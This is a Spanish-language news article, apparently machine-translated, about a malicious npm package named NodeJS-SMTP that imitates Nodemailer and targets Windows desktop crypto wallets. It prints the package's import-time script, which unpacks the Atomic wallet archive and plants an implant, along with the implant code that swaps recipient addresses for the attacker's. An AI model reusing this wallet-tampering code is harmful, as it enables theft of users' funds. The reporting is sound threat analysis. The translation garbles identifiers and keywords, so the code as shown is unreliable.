Los investigadores de seguridad en Socket.dev descubrieron un sofisticado ataque de la cadena de suministro a fines de agosto de 2025 aprovechando un paquete NPM malicioso llamado NodeJS-SMTP, que se disfraza de la biblioteca de correo electrónico ampliamente utilizada, con aproximadamente 3.9 millones de descargas semanales.
A primera vista, NodeJS-SMTP funciona de manera idéntica a su contraparte legítima, proporcionando una API familiar y envía correos electrónicos con éxito.
Esta funcionalidad engañosa sirve como un caballo troyano, que se involucra en silencio en operaciones encubiertas que se aprovechan de las billeteras de criptomonedas de escritorio instaladas en los sistemas de Windows.
Paquete malicioso (fuente – socket.dev)
A medida que las organizaciones continuaron integrando dependencias de código abierto en sus tuberías de desarrollo, los atacantes reconocieron la potencia de la manipulación de tiempo de importación.
Los analistas de Socket.dev señalaron que al importar, NodeJS-SMTP invoca inmediatamente una carga útil basada en electrones diseñada para infiltrarse en billeteras como la billetera atómica y el éxodo.
Al desempacar el archivo de la aplicación de la billetera.
Después de esta manipulación, cualquier transacción iniciada por la billetera comprometida se redirige, sustituyendo la dirección del destinatario prevista con una controlada por el actor de amenaza.
Socket.dev analistas más identificado Que el actor de amenaza, que opera bajo el alias NPM Nikotimon, incorpora direcciones de billetera codificada directamente en la carga útil inyectada.
Estas direcciones incluyen Bitcoin, Ethereum, Tether (tanto ERC-20 y TRC-20), XRP y Solana, facilitando el robo de multicina.
Aunque los recuentos de descarga inicial para NodeJS-SMTP fueron relativamente bajos, aproximadamente 342 en el momento del descubrimiento, el potencial de compromiso generalizado sigue siendo alta dada la ubicuidad de Nodemailer en entornos de producción.
A la luz de estos hallazgos, se insta a los desarrolladores y equipos de seguridad a adoptar rigurosas defensas de la cadena de suministro.
Las medidas recomendadas incluyen el análisis en tiempo real de las importaciones de efectos secundarios, la aplicación estricta de las políticas de revisión de código para nuevas dependencias e implementación de herramientas automatizadas para marcar los patrones de manipulación de archivos durante la instalación del paquete.
El riesgo se amplifica por el hecho de que es poco probable que la construcción de tuberías y sistemas de integración continua detecten dicha manipulación cuando las dependencias parecen funcionalmente correctas.
Mecanismo de infección y tácticas de persistencia
Profundizar en la estrategia de infección de NodeJS-SMTP revela un proceso de dos etapas que explota el formato de empaque de Electron.
En la primera etapa, el script Lib/Engine/Index.js del paquete se ejecuta inmediatamente después de importar:-
// lib/motor/index.js const OS = require (‘OS’); const fs = require (‘fs’). promesas; Const ruta = requerir (‘ruta’); const asAr = require (‘asar’); Función async PatchAtomic () {try {const Base = Path.Join (OS.homedir (), ‘AppData’, ‘local’, ‘Programas’); const resdir = path.join (base, ‘atómico’, ‘recursos’); const asarin = path.join (resdir, ‘app.asar’); const workdir = path.join (resdir, ‘salida’); const implant = path.join (__ dirname, ‘a.js’); const Target = Path.Join (WorkDir, ‘Dist’, ‘Electron’, ‘proveedores.64b69c3b00e2a7914733.js’); esperar fs.mkdir (workdir, {recursivo: true}); asar.extractall (asarin, workdir); esperar fs.copyfile (implante, objetivo); asar.createPackage (Workdir, asarin); esperar fs.rm (workdir, {recursivo: true, force: true}); } catch {}} Patchatomic ();
Esta rutina desempaca el archivo de la billetera, sobrescribe el paquete de proveedores con la carga útil maliciosa A.JS y reempaciona el archivo verificado por integridad para enmascarar trazas.
En el próximo lanzamiento de la billetera, A.JS intercepta la construcción de la transacción y reemplaza la dirección del destinatario, asegurando que cada pago saliente se desvíe:
// lib/motor/a.js async sendCoins () {if (espera this.validatePassword ()) {if (this.coin.Ticker === ‘btc’) this.inputs.address = “17cnls7rhnnbsmscwotq7eakgzkep5wpdy”; más if (this.coin.ticker === ‘eth’ || this.coin.ticker === ‘USDT’) this.inputs.address = “0x26ce898b746910ccb21f4c6316a5e85bcea39e24”; // asignaciones adicionales para TRX-USDT, XRP, SOL omitido}}
Al ejecutar durante la importación, NodeJS-SMTP evita la detección por escáneres estáticos que solo inspeccionan las llamadas de funciones en tiempo de ejecución. Este gancho persistente de tiempo de importación destaca el panorama de amenazas en evolución dentro de los ecosistemas de código abierto, lo que subraya la necesidad de medidas de seguridad con cadena de suministro consciente de la cadena de suministro.
Aumente su SOC y ayude a su equipo a proteger su negocio con inteligencia gratuita de amenazas de primer nivel: Solicitar prueba de prueba premium de búsqueda TI.








